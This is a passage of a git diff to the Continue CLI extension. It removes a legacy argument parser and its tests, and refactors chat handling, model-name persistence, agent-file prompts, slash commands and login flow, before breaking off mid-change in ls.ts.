"systemMessage", + CHAT_HISTORY: "chatHistory", + UPDATE: "update", + STORAGE_SYNC: "storageSync", + AGENT_FILE: "agentFile", +} as const; diff --git a/extensions/cli/src/args-mcp.test.ts b/extensions/cli/src/args-mcp.test.ts deleted file mode 100644 index 95f77cc7d..000000000 --- a/extensions/cli/src/args-mcp.test.ts +++ /dev/null @@ -1,75 +0,0 @@ -import { beforeEach, describe, expect, it } from "vitest"; - -import { parseArgs } from "./args.js"; - -describe("parseArgs --mcp flag", () => { - beforeEach(() => { - // Clear process.argv before each test - process.argv = ["node", "test"]; - }); - - it("should parse single MCP from --mcp flag", () => { - process.argv = ["node", "test", "--mcp", "my-org/my-mcp"]; - const result = parseArgs(); - expect(result.mcps).toEqual(["my-org/my-mcp"]); - }); - - it("should parse multiple MCPs from multiple --mcp flags", () => { - process.argv = ["node", "test", "--mcp", "org1/mcp1", "--mcp", "org2/mcp2"]; - const result = parseArgs(); - expect(result.mcps).toEqual(["org1/mcp1", "org2/mcp2"]); - }); - - it("should handle MCP flag with other flags", () => { - process.argv = [ - "node", - "test", - "--config", - "my-config.yaml", - "--mcp", - "my-org/my-mcp", - "--org", - "test-org", - ]; - const result = parseArgs(); - expect(result.configPath).toBe("my-config.yaml"); - expect(result.mcps).toEqual(["my-org/my-mcp"]); - expect(result.organizationSlug).toBe("test-org"); - }); - - it("should handle MCP flag with prompt", () => { - process.argv = ["node", "test", "--mcp", "my-org/my-mcp", "hello world"]; - const result = parseArgs(); - expect(result.mcps).toEqual(["my-org/my-mcp"]); - expect(result.prompt).toBe("hello world"); - }); - - it("should ignore MCP and rule flag values when extracting prompt", () => { - process.argv = [ - "node", - "test", - "actual prompt", - "--rule", - "my-rule", - "--mcp", - "my-org/my-mcp", - ]; - const result = parseArgs(); - expect(result.prompt).toBe("actual prompt"); - expect(result.rules).toEqual(["my-rule"]); - expect(result.mcps).toEqual(["my-org/my-mcp"]); - }); - - it("should handle MCP flag without value", () => { - process.argv = ["node", "test", "--mcp"]; - const result = parseArgs(); - expect(result.mcps).toEqual([]); - }); - - it("should handle MCP flag at the end without value", () => { - process.argv = ["node", "test", "my prompt", "--mcp"]; - const result = parseArgs(); - expect(result.prompt).toBe("my prompt"); - expect(result.mcps).toEqual([]); - }); -}); diff --git a/extensions/cli/src/args.prompt.test.ts b/extensions/cli/src/args.prompt.test.ts deleted file mode 100644 index 46b70b4db..000000000 --- a/extensions/cli/src/args.prompt.test.ts +++ /dev/null @@ -1,84 +0,0 @@ -import { describe, it, expect, beforeEach, afterAll } from "vitest"; - -import { parseArgs, processPromptOrRule } from "./args.js"; - -describe("args --prompt flag", () => { - const originalArgv = process.argv; - - beforeEach(() => { - // Reset process.argv for each test - process.argv = ["node", "script.js"]; - }); - - afterAll(() => { - // Restore original process.argv after all tests - process.argv = originalArgv; - }); - - it("should parse single prompt from --prompt flag", () => { - process.argv = ["node", "script.js", "--prompt", "my-prompt"]; - const result = parseArgs(); - expect(result.prompts).toEqual(["my-prompt"]); - }); - - it("should parse multiple prompts from multiple --prompt flags", () => { - process.argv = [ - "node", - "script.js", - "--prompt", - "prompt1", - "--prompt", - "prompt2", - ]; - const result = parseArgs(); - expect(result.prompts).toEqual(["prompt1", "prompt2"]); - }); - - it("should handle mixed flags including --prompt", () => { - process.argv = [ - "node", - "script.js", - "--config", - "myconfig", - "--prompt", - "myprompt", - "--resume", - ]; - const result = parseArgs(); - expect(result.configPath).toBe("myconfig"); - expect(result.prompts).toEqual(["myprompt"]); - expect(result.resume).toBe(true); - }); - - it("should not include --prompt value in non-flag arguments", () => { - process.argv = [ - "node", - "script.js", - "--prompt", - "prompt-value", - "actual-prompt", - ]; - const result = parseArgs(); - expect(result.prompts).toEqual(["prompt-value"]); - expect(result.prompt).toBe("actual-prompt"); - }); - - it("should handle both --rule and --prompt flags", () => { - process.argv = [ - "node", - "script.js", - "--rule", - "my-rule", - "--prompt", - "my-prompt", - ]; - const result = parseArgs(); - expect(result.rules).toEqual(["my-rule"]); - expect(result.prompts).toEqual(["my-prompt"]); - }); - - it("should process direct string content", async () => { - const result = await processPromptOrRule("This is a direct prompt"); - expect(result).toBe("This is a direct prompt"); - }); -}); diff --git a/extensions/cli/src/args.test.ts b/extensions/cli/src/args.test.ts index d22333c05..a30b6f2c5 100644 --- a/extensions/cli/src/args.test.ts +++ b/extensions/cli/src/args.test.ts @@ -1,222 +1,13 @@ import { vi } from "vitest"; -import { parseArgs, processPromptOrRule } from "./args.js"; - -describe("parseArgs", () => { - const originalArgv = process.argv; - - beforeEach(() => { - // Reset process.argv before each test - process.argv = ["node", "script.js"]; - }); - - afterAll(() => { - // Restore original argv - process.argv = originalArgv; - }); - - it("should return default values when no arguments provided", () => { - const result = parseArgs(); - expect(result).toEqual({}); - }); - - it("should set resume to true when --resume flag is present", () => { - process.argv = ["node", "script.js", "--resume"]; - const result = parseArgs(); - expect(result.resume).toBe(true); - }); - - it("should set readonly to true when --readonly flag is present", () => { - process.argv = ["node", "script.js", "--readonly"]; - const result = parseArgs(); - expect(result.readonly).toBe(true); - }); - - it("should parse config path from --config flag", () => { - process.argv = ["node", "script.js", "--config", "/path/to/config.yaml"]; - const result = parseArgs(); - expect(result.configPath).toBe("/path/to/config.yaml"); - }); - - it("should parse single rule from --rule flag", () => { - process.argv = ["node", "script.js", "--rule", "my-rule"]; - const result = parseArgs(); - expect(result.rules).toEqual(["my-rule"]); - }); - - it("should parse multiple rules from multiple --rule flags", () => { - process.argv = ["node", "script.js", "--rule", "rule1", "--rule", "rule2"]; - const result = parseArgs(); - expect(result.rules).toEqual(["rule1", "rule2"]); - }); - - it("should parse prompt from last non-flag argument", () => { - process.argv = ["node", "script.js", "Hello world"]; - const result = parseArgs(); - expect(result.prompt).toBe("Hello world"); - }); - - it("should handle multiple flags together", () => { - process.argv = ["node", "script.js", "--print", "--readonly", "--resume"]; - const result = parseArgs(); - expect(result).toEqual({ - readonly: true, - resume: true, - }); - }); - - it("should handle config flag with other flags", () => { - process.argv = ["node", "script.js", "--config", "config.yaml", "--print"]; - const result = parseArgs(); - expect(result).toEqual({ - configPath: "config.yaml", - }); - }); - - it("should handle rule flag with other flags", () => { - process.argv = ["node", "script.js", "--rule", "my-rule", "--print"]; - const result = parseArgs(); - expect(result).toEqual({ - rules: ["my-rule"], - }); - }); - - it("should handle prompt with flags", () => { - process.argv = ["node", "script.js", "--print", "What is the weather?"]; - const result = parseArgs(); - expect(result).toEqual({ - prompt: "What is the weather?", - }); - }); - - it("should handle config flag with prompt", () => { - process.argv = [ - "node", - "script.js", - "--config", - "config.yaml", - "Test prompt", - ]; - const result = parseArgs(); - expect(result).toEqual({ - configPath: "config.yaml", - prompt: "Test prompt", - }); - }); - - it("should handle rule flag with prompt", () => { - process.argv = ["node", "script.js", "--rule", "my-rule", "Test prompt"]; - const result = parseArgs(); - expect(result).toEqual({ - rules: ["my-rule"], - prompt: "Test prompt", - }); - }); - - it("should ignore config and rule flag values when extracting prompt", () => { - process.argv = [ - "node", - "script.js", - "--config", - "config.yaml", - "--rule", - "my-rule", - "actual-prompt", - ]; - const result = parseArgs(); - expect(result.prompt).toBe("actual-prompt"); - expect(result.configPath).toBe("config.yaml"); - expect(result.rules).toEqual(["my-rule"]); - }); - - it("should handle multiple non-flag arguments and use the last one as prompt", () => { - process.argv = ["node", "script.js", "first", "second", "third"]; - const result = parseArgs(); - expect(result.prompt).toBe("third"); - }); - - it("should handle complex argument combinations", () => { - process.argv = [ - "node", - "script.js", - "--print", - "--config", - "my-config.yaml", - "--rule", - "rule1", - "--rule", - "rule2", - "--readonly", - "--resume", - "Complex prompt with spaces", - ]; - const result = parseArgs(); - expect(result).toEqual({ - configPath: "my-config.yaml", - rules: ["rule1", "rule2"], - readonly: true, - resume: true, - prompt: "Complex prompt with spaces", - }); - }); - - it("should handle config flag without value", () => { - process.argv = ["node", "script.js", "--config"]; - const result = parseArgs(); - expect(result.configPath).toBeUndefined(); - }); - - it("should handle rule flag without value", () => { - process.argv = ["node", "script.js", "--rule"]; - const result = parseArgs(); - expect(result.rules).toEqual([]); - }); - - it("should handle config flag at the end without value", () => { - process.argv = ["node", "script.js", "--print", "--config"]; - const result = parseArgs(); - expect(result.configPath).toBeUndefined(); - }); - - it("should handle rule flag at the end without value", () => { - process.argv = ["node", "script.js", "--print", "--rule"]; - const result = parseArgs(); - expect(result.rules).toEqual([]); - }); - - it("should handle empty arguments array", () => { - process.argv = ["node", "script.js"]; - const result = parseArgs(); - expect(result).toEqual({}); - }); - - it("should handle multiple boolean flags", () => { - process.argv = ["node", "script.js", "--readonly", "--resume"]; - const result = parseArgs(); - expect(result.readonly).toBe(true); - expect(result.resume).toBe(true); - }); - - it("should handle multiple rules with complex combinations", () => { - process.argv = [ - "node", - "script.js", - "--rule", - "file.txt", - "--rule", - "owner/package", - "--rule", - "direct string rule", - ]; - const result = parseArgs(); - expect(result.rules).toEqual([ - "file.txt", - "owner/package", - "direct string rule", - ]); - }); -}); +// Mock auth functions +vi.mock("./auth/workos.js", () => ({ + loadAuthConfig: vi.fn(), + getAccessToken: vi.fn(), +})); +import { getAccessToken, loadAuthConfig } from "./auth/workos.js"; +import { processRule as processPromptOrRule } from "./hubLoader.js"; describe("processPromptOrRule (loadRuleFromHub integration)", () => { // Mock fetch for hub tests const originalFetch = global.fetch; @@ -232,6 +23,9 @@ describe("processPromptOrRule (loadRuleFromHub integration)", () => { beforeEach(() => { mockFetch.mockClear(); + // Reset auth mocks to not authenticated state + (loadAuthConfig as any).mockReturnValue(null); + (getAccessToken as any).mockReturnValue(null); }); describe("loadRuleFromHub", () => { @@ -259,6 +53,7 @@ describe("processPromptOrRule (loadRuleFromHub integration)", () => { "v0/continuedev/sentry-nextjs/latest/download", "https://api.continue.dev/", ), + { headers: {} }, ); }); diff --git a/extensions/cli/src/args.ts b/extensions/cli/src/args.ts deleted file mode 100644 index b8a452213..000000000 --- a/extensions/cli/src/args.ts +++ /dev/null @@ -1,147 +0,0 @@ -export interface CommandLineArgs { - configPath?: string; - organizationSlug?: string; // Organization slug to use for this session - prompt?: string; // Optional prompt argument - resume?: boolean; // Resume from last session - fork?: string; // Fork from an existing session ID - readonly?: boolean; // Start in plan mode (backward compatibility) - rules?: string[]; // Array of rule specifications - mcps?: string[]; // Array of MCP server slugs from the hub - models?: string[]; // Array of model slugs from the hub - prompts?: string[]; // Array of prompt slugs from the hub - format?: "json"; // Output format for headless mode -} - -// Re-export hub loader functions for backward compatibility -export { loadMcpFromHub, processRule } from "./hubLoader.js"; -// Alias processRule as processPromptOrRule for backward compatibility -export { processRule as processPromptOrRule } from "./hubLoader.js"; - -/** - * Extract values for a specific flag that can appear multiple times - */ -function extractMultipleFlags(args: string[], flagName: string): string[] { - const indices: number[] = []; - for (let i = 0; i < args.length; i++) { - if (args[i] === flagName) { - indices.push(i); - } - } - - const values: string[] = []; - for (const index of indices) { - if (index + 1 < args.length && !args[index + 1].startsWith("--")) { - values.push(args[index + 1]); - } - } - return values; -} - -/** - * Extract value for a single-value flag - */ -function extractSingleFlag( - args: string[], - flagName: string, -): string | undefined { - const index = args.indexOf(flagName); - if ( - index !== -1 && - index + 1 < args.length && - !args[index + 1].startsWith("--") - ) { - return args[index + 1]; - } - return undefined; -} - -/** - * Parse command line arguments for non-permission related flags - * @deprecated Most functionality has been moved to services. This is only kept for backward compatibility. - * @returns Parsed command line arguments - */ -export function parseArgs(): CommandLineArgs { - const args = process.argv.slice(2); - const result: CommandLineArgs = {}; - - // Parse boolean flags - if (args.includes("--resume")) { - result.resume = true; - } - if (args.includes("--readonly")) { - result.readonly = true; - } - - // Parse fork flag - const forkValue = extractSingleFlag(args, "--fork"); - if (forkValue) { - result.fork = forkValue; - } - - // Parse single-value flags - const formatValue = extractSingleFlag(args, "--format"); - if (formatValue === "json") { - result.format = "json"; - } - - result.configPath = extractSingleFlag(args, "--config"); - - const orgValue = extractSingleFlag(args, "--org"); - if (orgValue) { - result.organizationSlug = - orgValue.toLowerCase() === "personal" ? undefined : orgValue; - } - - // Parse multi-value flags - const rules = extractMultipleFlags(args, "--rule"); - if (rules.length > 0) { - result.rules = rules; - } else if (args.includes("--rule")) { - result.rules = []; - } - - const mcps = extractMultipleFlags(args, "--mcp"); - if (mcps.length > 0) { - result.mcps = mcps; - } else if (args.includes("--mcp")) { - // Ensure we have an empty array if --mcp flag is present but has no values - result.mcps = []; - } - - const models = extractMultipleFlags(args, "--model"); - if (models.length > 0) { - result.models = models; - } else if (args.includes("--model")) { - result.models = []; - } - - const prompts = extractMultipleFlags(args, "--prompt"); - if (prompts.length > 0) { - result.prompts = prompts; - } else if (args.includes("--prompt")) { - result.prompts = []; - } - - // Extract prompt from non-flag arguments - const flagsWithValues = [ - "--config", - "--org", - "--rule", - "--mcp", - "--model", - "--prompt", - "--format", - "--fork", - ]; - const nonFlagArgs = args.filter((arg, index) => { - if (arg.startsWith("--") || arg === "-p") return false; - const prevArg = index > 0 ? args[index - 1] : ""; - return !flagsWithValues.includes(prevArg); - }); - - if (nonFlagArgs.length > 0) { - result.prompt = nonFlagArgs[nonFlagArgs.length - 1]; - } - - return result; -} diff --git a/extensions/cli/src/asciiArt.test.ts b/extensions/cli/src/asciiArt.test.ts index beac2778a..28dfa1510 100644 --- a/extensions/cli/src/asciiArt.test.ts +++ b/extensions/cli/src/asciiArt.test.ts @@ -34,7 +34,7 @@ describe("asciiArt", () => { const result = getDisplayableAsciiArt(); expect(result).toContain("██████╗"); - expect(result).toContain("(beta)"); + expect(result).not.toBe(CONTINUE_ASCII_ART); // Should be much shorter than the full ASCII art expect(result.length).toBeLessThan(CONTINUE_ASCII_ART.length / 2); @@ -47,7 +47,7 @@ describe("asciiArt", () => { const result = getDisplayableAsciiArt(); expect(result).toContain("██████╗"); - expect(result).toContain("(beta)"); + expect(result).not.toBe(CONTINUE_ASCII_ART); }); diff --git a/extensions/cli/src/asciiArt.ts b/extensions/cli/src/asciiArt.ts index b7d08252e..6a8438bef 100644 --- a/extensions/cli/src/asciiArt.ts +++ b/extensions/cli/src/asciiArt.ts @@ -12,7 +12,7 @@ ${mind.multiline(` ██████╗ ██████╗ ███╗ ██║ ██║ ██║██║╚██╗██║ ██║ ██║██║╚██╗██║██║ ██║██╔══╝ ╚██████╗╚██████╔╝██║ ╚████║ ██║ ██║██║ ╚████║╚██████╔╝███████╗ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝`)} - ${d("v" + getVersion() + " (beta)")}`; + ${d("v" + getVersion())}`; // ASCII art for just "CN" (first two letters) const CN_ASCII_ART = ` @@ -22,7 +22,7 @@ ${mind.multiline(` ██████╗███╗ ██╗ ██║ ██║╚██╗██║ ╚██████╗██║ ╚████║ ╚═════╝╚═╝ ╚═══╝`)} - ${d("v" + getVersion() + " (beta)")}`; + ${d("v" + getVersion())}`; // Minimum terminal width required to display ASCII art properly const MIN_WIDTH_FOR_ASCII_ART = 75; diff --git a/extensions/cli/src/auth/workos.ts b/extensions/cli/src/auth/workos.ts index d110ea161..a005eb56a 100644 --- a/extensions/cli/src/auth/workos.ts +++ b/extensions/cli/src/auth/workos.ts @@ -8,6 +8,7 @@ import nodeFetch from "node-fetch"; import open from "open"; import { getApiClient } from "../config.js"; +// eslint-disable-next-line import/order import { env } from "../env.js"; if (!globalThis.fetch) { globalThis.fetch = nodeFetch as unknown as typeof globalThis.fetch; @@ -96,13 +97,24 @@ export function getConfigUri(config: AuthConfig): string | null { /** * Gets the model name from any auth config type + * For unauthenticated users or when auth config has no modelName, checks GlobalContext */ export function getModelName(config: AuthConfig): string | null { - if (config === null) return null; - return config.modelName || null; + // Priority 1: Logged-in users with modelName in auth config + if (config !== null && config.modelName) { + return config.modelName; + } + + // Priority 2: Fall back to GlobalContext (for logged-out users or logged-in without modelName) + return getPersistedModelName(); } // URI utility functions have been moved to ./uriUtils.ts +import { + getPersistedModelName, + persistModelName, +} from "../util/modelPersistence.js"; + import { autoSelectOrganizationAndConfig } from "./orgSelection.js"; import { pathToUri, slugToUri, uriToPath, uriToSlug } from "./uriUtils.js"; import { @@ -214,21 +226,30 @@ export function updateConfigUri(configUri: string | null): void { /** * Updates the model name in the authentication configuration + * Returns the updated config so the caller can update in-memory state + * For unauthenticated users, saves to GlobalContext */ -export function updateModelName(modelName: string | null): void { +export function updateModelName(modelName: string | null): AuthConfig { // If using CONTINUE_API_KEY environment variable, don't save anything if (process.env.CONTINUE_API_KEY) { - return; + return loadAuthConfig(); } const config = loadAuthConfig(); + + // If logged in, save to auth.json if (config && isAuthenticatedConfig(config)) { const updatedConfig: AuthenticatedConfig = { ...config, modelName: modelName || undefined, }; saveAuthConfig(updatedConfig); + return updatedConfig; } + + // If logged out, save to GlobalContext + persistModelName(modelName); + return config; } /** diff --git a/extensions/cli/src/commands/BaseCommandOptions.ts b/extensions/cli/src/commands/BaseCommandOptions.ts index 0d0808ea3..9c457d066 100644 --- a/extensions/cli/src/commands/BaseCommandOptions.ts +++ b/extensions/cli/src/commands/BaseCommandOptions.ts @@ -21,6 +21,8 @@ export interface BaseCommandOptions { ask?: string[]; /** Array of tools to exclude from use (--exclude) */ exclude?: string[]; + /** Agent file slug from the hub (--agent) */ + agent?: string; } /** diff --git a/extensions/cli/src/commands/chat.ts b/extensions/cli/src/commands/chat.ts index 4436d18b7..4b7a998a9 100644 --- a/extensions/cli/src/commands/chat.ts +++ b/extensions/cli/src/commands/chat.ts @@ -1,18 +1,22 @@ import { ModelConfig } from "@continuedev/config-yaml"; +import { BaseLlmApi } from "@continuedev/openai-adapters"; import chalk from "chalk"; -import type { ChatHistoryItem, Session } from "core/index.js"; +import { ChatHistoryItem, Session } from "core"; import { ChatDescriber } from "core/util/chatDescriber.js"; -import * as readlineSync from "readline-sync"; import { compactChatHistory, findCompactionIndex } from "../compaction.js"; import { processCommandFlags } from "../flags/flagProcessor.js"; -import { safeStdout } from "../init.js"; +import { safeStderr, safeStdout } from "../init.js"; import { configureLogger } from "../logger.js"; import * as logging from "../logging.js"; import { sentryService } from "../sentry.js"; import { initializeServices, services } from "../services/index.js"; import { serviceContainer } from "../services/ServiceContainer.js"; -import { ModelServiceState, SERVICE_NAMES } from "../services/types.js"; +import { + AgentFileServiceState, + ModelServiceState, + SERVICE_NAMES, +} from "../services/types.js"; import { loadSession, updateSessionHistory, @@ -25,6 +29,8 @@ import { startTUIChat } from "../ui/index.js"; import { gracefulExit } from "../util/exit.js"; import { formatAnthropicError, formatError } from "../util/formatError.js"; import { logger } from "../util/logger.js"; +import { question } from "../util/prompt.js"; +import { prependPrompt } from "../util/promptProcessor.js"; import { calculateContextUsagePercentage, countChatHistoryTokens, @@ -119,7 +125,7 @@ export async function initializeChatHistory( async function handleManualCompaction( chatHistory: ChatHistoryItem[], model: ModelConfig, - llmApi: any, + llmApi: BaseLlmApi, isHeadless: boolean, ): Promise<{ compactionIndex?: number | null } | void> { if (!isHeadless) { @@ -160,11 +166,66 @@ async function handleManualCompaction( } } +// Helper function to get streaming response based on compaction state +async function getStreamingResponse( + compactionIndex: number | null | undefined, + model: ModelConfig, + llmApi: BaseLlmApi, +): Promise { + const abortController = new AbortController(); + + if (compactionIndex !== null && compactionIndex !== undefined) { + // Use service to compute history for LLM + const historyForLLM = + services.chatHistory.getHistoryForLLM(compactionIndex); + + return await streamChatResponse( + historyForLLM, + model, + llmApi, + abortController, + ); + } else { + // No compaction - get full history from service + return await streamChatResponse( + services.chatHistory.getHistory(), + model, + llmApi, + abortController, + ); + } +} + +// Helper function to process and output response in headless mode +function processAndOutputResponse( + finalResponse: string, + isHeadless: boolean, + silent?: boolean, + format?: "json", +): void { + if (isHeadless && finalResponse && finalResponse.trim()) { + let processedResponse = finalResponse; + + // Strip think tags if --silent flag is enabled + if (silent) { + processedResponse = stripThinkTags(processedResponse); + } + + // Process output based on format + const outputResponse = + format === "json" + ? processJsonOutput(processedResponse) + : processedResponse; + + safeStdout(outputResponse + "\n"); + } +} + // Helper function to handle auto-compaction for headless mode async function handleAutoCompaction( chatHistory: ChatHistoryItem[], model: ModelConfig, - llmApi: any, + llmApi: BaseLlmApi, isHeadless: boolean, format?: "json", ): Promise { @@ -244,7 +305,7 @@ async function handleAutoCompaction( */ async function handleTitleGeneration( assistantResponse: string, - llmApi: any, + llmApi: BaseLlmApi, model: ModelConfig, ): Promise { try { @@ -270,7 +331,7 @@ interface ProcessMessageOptions { userInput: string; chatHistory: ChatHistoryItem[]; model: ModelConfig; - llmApi: any; + llmApi: BaseLlmApi; isHeadless: boolean; format?: "json"; silent?: boolean; @@ -325,71 +386,35 @@ async function processMessage( } try { - const abortController = new AbortController(); - - // Service-driven streaming; history updates occur via ChatHistoryService - let finalResponse; - if (compactionIndex !== null && compactionIndex !== undefined) { - // Use service to compute history for LLM - const historyForLLM = - services.chatHistory.getHistoryForLLM(compactionIndex); - - finalResponse = await streamChatResponse( - historyForLLM, - model, - llmApi, - abortController, - ); - } else { - // No compaction - get full history from service - finalResponse = await streamChatResponse( - services.chatHistory.getHistory(), - model, - llmApi, - abortController, - ); - } + // Get AI response with potential tool usage + const finalResponse = await getStreamingResponse( + compactionIndex, + model, + llmApi, + ); // Generate session title after first assistant response if (firstAssistantResponse && finalResponse && finalResponse.trim()) { await handleTitleGeneration(finalResponse, llmApi, model); } - // In headless mode, only print the final response using safe stdout - if (isHeadless && finalResponse && finalResponse.trim()) { - let processedResponse = finalResponse; - - // Strip think tags if --silent flag is enabled - if (silent) { - processedResponse = stripThinkTags(processedResponse); - } - - // Process output based on format - const outputResponse = - format === "json" - ? processJsonOutput(processedResponse) - : processedResponse; - - safeStdout(outputResponse + "\n"); - } + // Process and output response in headless mode + processAndOutputResponse(finalResponse, isHeadless, silent, format); // Save session after each successful response updateSessionHistory(services.chatHistory.getHistory()); } catch (e: any) { const error = e instanceof Error ? e : new Error(String(e)); - if (model.provider === "anthropic") { - logger.error(`\n${chalk.red(`Error: ${formatAnthropicError(error)}`)}`); - } else { - logger.error(`\n${chalk.red(`Error: ${formatError(error)}`)}`); - } - - sentryService.captureException(error, { - context: "chat_response", - isHeadless, - chatHistoryLength: services.chatHistory.getHistory().length, - }); + // In headless mode, don't output JSON here - let error bubble up to main handler if (!isHeadless) { + // Non-headless mode: use colored console output + if (model.provider === "anthropic") { + logger.error(`\n${chalk.red(`Error: ${formatAnthropicError(error)}`)}`); + } else { + logger.error(`\n${chalk.red(`Error: ${formatError(error)}`)}`); + } + logger.info( chalk.dim( `Chat history:\n${JSON.stringify( @@ -400,6 +425,18 @@ async function processMessage( ), ); } + + sentryService.captureException(error, { + context: "chat_response", + isHeadless, + chatHistoryLength: services.chatHistory.getHistory().length, + }); + + // In headless mode, re-throw the error to bubble up to main error handler + // This preserves downstream logic like telemetry cleanup + if (isHeadless) { + throw error; + } } } @@ -426,6 +463,10 @@ async function runHeadlessMode( throw new Error("No models were found."); } + if (!llmApi) { + throw new Error("No LLM API instance found."); + } + // Initialize service-driven history (resume if requested) const chatHistory = await initializeChatHistory(options); let compactionIndex: number | null = null; @@ -438,9 +479,17 @@ async function runHeadlessMode( const { processAndCombinePrompts } = await import( "../util/promptProcessor.js" ); + const agentFileState = await serviceContainer.get( + SERVICE_NAMES.AGENT_FILE, + ); + + const initialPrompt = prependPrompt( + agentFileState?.agentFile?.prompt, + prompt, + ); const initialUserInput = await processAndCombinePrompts( options.prompt, - prompt, + initialPrompt, ); let isFirstMessage = true; @@ -454,7 +503,7 @@ async function runHeadlessMode( const userInput = isFirstMessage && initialUserInput ? initialUserInput - : readlineSync.question(`\n${chalk.bold.green("You:")} `); + : await question(`\n${chalk.bold.green("You:")} `); isFirstMessage = false; @@ -475,6 +524,9 @@ async function runHeadlessMode( compactionIndex = result.compactionIndex; } } + + // exit after headless mode completes + await gracefulExit(0); } export async function chat(prompt?: string, options: ChatOptions = {}) { @@ -496,7 +548,6 @@ export async function chat(prompt?: string, options: ChatOptions = {}) { if (!options.headless) { // Process flags for TUI mode const { permissionOverrides } = processCommandFlags(options); - // Initialize services with onboarding handled internally await initializeServices({ options, @@ -504,9 +555,18 @@ export async function chat(prompt?: string, options: ChatOptions = {}) { toolPermissionOverrides: permissionOverrides, }); + const agentFileState = await serviceContainer.get( + SERVICE_NAMES.AGENT_FILE, + ); + + const initialPrompt = prependPrompt( + agentFileState?.agentFile?.prompt, + prompt, + ); + // Start TUI with skipOnboarding since we already handled it const tuiOptions: any = { - initialPrompt: prompt, + initialPrompt, resume: options.resume, fork: options.fork, config: options.config, @@ -535,15 +595,30 @@ export async function chat(prompt?: string, options: ChatOptions = {}) { await runHeadlessMode(prompt, options); } catch (error: any) { const err = error instanceof Error ? error : new Error(String(error)); - // Use headless-aware error logging to ensure fatal errors are shown in headless mode - logging.error(chalk.red(`Fatal error: ${formatError(err)}`)); + + // In headless mode, output error as JSON to stdout + if (options.headless) { + const errorOutput = { + status: "error", + message: err.message || String(err), + }; + safeStderr(JSON.stringify(errorOutput) + "\n"); + } else { + // Use headless-aware error logging for non-headless mode + logging.error(chalk.red(`Fatal error: ${formatError(err)}`)); + } + sentryService.captureException(err, { context: "chat_command_fatal", headless: options.headless, }); + + // Stop active time tracking BEFORE graceful exit + telemetryService.stopActiveTime(); + await gracefulExit(1); } finally { - // Stop active time tracking + // Stop active time tracking for normal completion telemetryService.stopActiveTime(); } } diff --git a/extensions/cli/src/commands/commands.ts b/extensions/cli/src/commands/commands.ts index bf19c099f..d9886273e 100644 --- a/extensions/cli/src/commands/commands.ts +++ b/extensions/cli/src/commands/commands.ts @@ -146,7 +146,10 @@ export function getAllSlashCommands( category: "assistant" as const, })) || []; - return [...systemCommands, ...assistantCommands]; + // Get invokable rule commands + const invokableRuleCommands = getInvokableRuleSlashCommands(assistant); + + return [...systemCommands, ...assistantCommands, ...invokableRuleCommands]; } /** @@ -163,3 +166,33 @@ export function getAssistantSlashCommands( })) || [] ); } + +/** + * Get invokable rule commands from assistant config + */ +export function getInvokableRuleSlashCommands( + assistant: AssistantConfig, +): SlashCommand[] { + if (!assistant?.rules) { + return []; + } + + return assistant.rules + .filter((rule) => { + // Handle both string rules and rule objects + if (!rule || typeof rule === "string") { + return false; + } + // Only include rules with invokable: true + return rule.invokable === true; + }) + .map((rule) => { + // TypeScript now knows rule is an object with invokable: true + const ruleObj = rule as any; + return { + name: ruleObj.name || "", + description: ruleObj.description || "", + category: "assistant" as const, + }; + }); +} diff --git a/extensions/cli/src/commands/init.ts b/extensions/cli/src/commands/init.ts index f4c31e614..ad50333ef 100644 --- a/extensions/cli/src/commands/init.ts +++ b/extensions/cli/src/commands/init.ts @@ -1,9 +1,11 @@ import { type AssistantConfig } from "@continuedev/sdk"; +import { createRelativeRuleFilePath } from "core/config/markdown/utils.js"; import { SlashCommandResult } from "../ui/hooks/useChat.types.js"; function createInitPrompt(): string { - return `Please analyze this repository and create a comprehensive AGENTS.md file. Use your available tools to understand the project structure, read important files like README.md, package.json, requirements.txt, and other configuration files to understand the technology stack and setup. + const relativeRuleFilepath = createRelativeRuleFilePath("review"); + return `Please analyze this repository and create a comprehensive AGENTS.md file, along with a custom slash command. Use your available tools to understand the project structure, read important files like README.md, package.json, requirements.txt, and other configuration files to understand the technology stack and setup. Create an AGENTS.md file with the following structure: @@ -30,7 +32,23 @@ Create an AGENTS.md file with the following structure: - Development environment setup - Lint and format commands -Please create the AGENTS.md file using the Write tool after analyzing the repository. Focus on providing actionable information that would help both AI agents and human developers understand and work effectively with this codebase. Keep the file concise but informational.`; +Additionally, create a slash command file at ${relativeRuleFilepath} with the following structure: + +\`\`\`md +--- +invokable: true +--- + +Review this code for potential issues, including: + + + +Provide specific, actionable feedback for improvements. +\`\`\` + +This slash command will be invokable using /review and will provide instructions for code review tasks common to this repository. + +Please create both the AGENTS.md file and the .continue/rules/review.md file using the Write tool after analyzing the repository. Focus on providing actionable information that would help both AI agents and human developers understand and work effectively with this codebase. Keep the files concise but informational.`; } export async function handleInit( diff --git a/extensions/cli/src/commands/login.ts b/extensions/cli/src/commands/login.ts index a1c6cc4f8..e5abf3136 100644 --- a/extensions/cli/src/commands/login.ts +++ b/extensions/cli/src/commands/login.ts @@ -3,12 +3,18 @@ import chalk from "chalk"; import { login as workosLogin } from "../auth/workos.js"; import { gracefulExit } from "../util/exit.js"; +import { chat } from "./chat.js"; + export async function login() { console.info(chalk.yellow("Logging in to Continue...")); try { await workosLogin(); console.info(chalk.green("Successfully logged in!")); + + // Start the CLI session after successful login + console.info(chalk.blue("Starting Continue CLI...")); + await chat(); } catch (error: any) { console.error(chalk.red(`Login failed: ${error.message}`)); await gracefulExit(1); diff --git a/extensions/cli/src/commands/ls.ts b/extensions/cli/src/commands/ls.ts index 2e06a4f5a..529c711b8 100644 --- a/extensions/cli/src/commands/ls.ts +++ b/extensions/cli/src/commands/ls.ts @@ -1,10 +1,9 @@ import { render } from "ink"; import React from "react"; -import { getAccessToken, loadAuthConfig } from "../auth/workos.js"; -import { env } from "../env.js"; import { listSessions, loadSessionById } from "../session.js"; import { SessionSelector } from "../ui/SessionSelector.js"; +import { ApiRequestError, post } from "../util/apiClient.js"; import { logger } from "../util/logger.js"; import { chat } from "./chat.js"; @@ -27,23 +26,19 @@ function setSessionId(sessionId: string): void { } export async function getTunnelForAgent(agentId: string): Promise { - const authConfig = loadAuthConfig(); - const accessToken = getAccessToken(authConfig); - - const resp = await fetch(`${env.apiBase}agents/devboxes/${agentId}/tunnel`, { - method: "POST", - headers: { - "Content-Type": "application/json", - Authorization: `Bearer ${accessToken}`, - }, - }); - if (!resp.ok) { - throw new Error( - `Failed to get tunnel for agent ${agentId}: ${await resp.text()}`, + 